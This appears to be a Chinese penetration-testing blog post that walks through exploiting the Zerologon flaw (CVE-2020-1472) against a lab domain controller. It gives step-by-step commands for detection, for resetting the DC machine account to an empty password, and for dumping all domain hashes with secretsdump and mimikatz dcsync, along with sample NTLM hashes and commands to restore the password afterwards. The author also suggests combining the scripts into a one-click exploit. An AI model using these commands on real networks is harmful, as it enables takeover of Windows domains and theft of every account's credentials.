cve-2020-1472域提权

  • cve-2020-1472域提权已关闭评论
  • 10 views
  • A+

影响

攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的 Netlogon 安全通道时,存在特权提升漏洞。当成功利用此漏洞时,攻击者可无需通过身份验证,在网络中的设备上运行经特殊设计的应用程序,获取域控制器的管理员权限。

Windows Server, version 2004 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

复现

需要最新版的impacket

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

exp地址:https://github.com/mstxq17/cve-2020-1472.git

检测

python3 zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR
DC_NETBIOS_NAME是计算机名(下文中的win2008都是DC_NETBIOS_NAME,172.16.58.111都是DC_IP_ADDR ),不知道的话直接用nbtscan扫一下就可:

image20200919221027616.png

python3 zerologon_tester.py WIN2008 172.16.58.111

image20200919184316678.png

利用

这个漏洞改动的是ntds.dit中的域控主机的对应的hash。exp.py+secretsdump.py的利用方法无论是否获取到域内服务器权限都可以进行。
exp打之前WIN2008$的hash:

VULWIN2008$:aad3b435b51404eeaad3b435b51404ee:4d9a97c1c0593d08c1f06d3b8dd7fcae:::

image20200919184620875.png

exp打一下,利用漏洞把WIN2008$的密码置为空密码,然后可使用secretsdump出来所有hash:
python3 cve-2020-1472-exploit.py win2008 172.16.58.111

image20200919184452545.png

secretsdump.py vul/[email protected] -no-pass

image20200919184756445.png

exp打之后WIN2008$的hash,替换成了空密码:31d6cfe0d16ae931b73c59d7e0c089c0

WIN2008$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

恢复

secretsdump.py vul/[email protected] -no-pass时候获取到administrator的hash后,利用administrator的hash获取域控服务器sam中的MACHINE.ACC中的WIN2008$的hash,然后对dc中的WIN2008$的hash进行恢复。

网上很多都是wmiexec过去,然后reg出来,再本地解sam,其实secretsdump可以直接远程获取MACHINE.ACC中的hash回来,省去了很多步骤。PS:新版的impacket有获取plain_password_hex的功能,pip源中的旧版是没有的,可github下载最新。

获取WIN2008$的hexpass过来:

secretsdump.py vul/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:bd67bdb5dd3e8bad82bb56be8374b68d

image20200919185730364.png

恢复WIN2008$的hash到dc中:

python3 restorepassword.py [email protected] -target-ip 172.16.58.111 -hexpass 20e012d833ba7fccaae87b0db4bfa955ced0d3dcffc7156ddac8e2cc6f384e69

image20200919190056238.png

这样就把31d6cfe0d16ae931b73c59d7e0c089c0重新恢复成了4d9a97c1c0593d08c1f06d3b8dd7fcae

重新secretsdump空密码连接下,已经不能dumphash了:

secretsdump.py vul/[email protected] -no-pass

image20200919203018846.png

PS:exp.py和secretsdump.py可以一起改造改造变成一个一键exp脚本。

mimkatz.exe attack cve-2020-1472

新版的mimkatz增加了该漏洞的poc检测和exp攻击。测试了下利用mimikatz进行检测和攻击都没有问题,但读取hash和恢复win2008$的passwd用不上。

先放下检测的方法:

.mimikatz.exe "privilege::debug" "lsadump::zerologon /target:172.16.58.111 /account:win2008$"

先放下攻击的方法:

.mimikatz.exe "privilege::debug" "lsadump::zerologon /target:172.16.58.111 /account:win2008$ /exploit" "lsadump::dcsync /domain:vul.com /authuser:win2008$ /authpassword:"" /all /csv" "lsadump::postzerologon /target:172.16.58.111 /account:win2008$" exit

发poc检测和发exp置空密码,在非域内机器和域内机器普通权限都是可以的,网能通基本没问题,这是我非域机器的poc和exp状态,是成功的:

image20200921015542426.png

问题出在了认证win2008$账户读取hash"lsadump::dcsync /domain:vul.com /authuser:win2008$ /authpassword:"" /all /csv"和恢复win2008$的passwd"lsadump::postzerologon /target:172.16.58.111 /account:win2008$"中了:

问题一: "lsadump::dcsync /domain:vul.com /authuser:win2008$ /authpassword:"" /all /csv"

dcsync操作肯定要在域内机器了,普通域用户权限下(PS:肯定普通用户权限了,有域管权限的话就不用这个洞了就直接干域控了)这里error掉了:

image20200921021349262.png

当然在域控administrator上肯定是可以执行的: (PS:有域控权限的话就更不用这个漏洞了,,,)

image20200921021444974.png

问题二:"lsadump::postzerologon /target:172.16.58.111 /account:win2008$"

恢复passwd操作中,是先读取再还原,本身这个地方win2008$认证后就无法读取到passwd,也就没法恢复了。

所以,使用mimikatz.exe来利用这个漏洞的话,只能进行漏洞检测:privilege::debug" "lsadump::zerologon /target:172.16.58.111 /account:win2008$和打漏洞exp:lsadump::zerologon /target:172.16.58.111 /account:win2008$ /exploit,其他的例如获取hash、恢复win2008的passwd的操作都无法进行,还需借用上面的py脚本。(或者我这mimikatz利用方式有问题?如有问题的话请指导一下,tks)

其他

  1. 传说exp打过后dc里面的域机器和dns解析会有问题,打exp后一定要恢复下。
  2. 这个漏洞exp改动的是ntds.dit中的win2008$对应的hash,在恢复时候而是用sam中的hash恢复到了ntds.dit中。在sam中MACHINE.ACC中的WIN2008$的hexpass和hash都不是dc中实时的,如果管理员安装域后改动过ntds中的win2008$的hash的话,那hash从sam恢复到ntds中也无用了,对域的影响按理说是依旧存在,依旧有点崩溃风险,祝好运886。
  3. myblog: https://lovechoudoufu.github.io/ see you~

相关推荐: 渗透测试中常用的文件下载方式总结

0x01 Windows certutil certutil是Windows自带的工具,具有下载文件,校验文件MD5、SHA1、SHA256,文件base64编码等功能。 使用certutil下载文件,保存在当前路径,文件名称与下载文件名称相同: certut…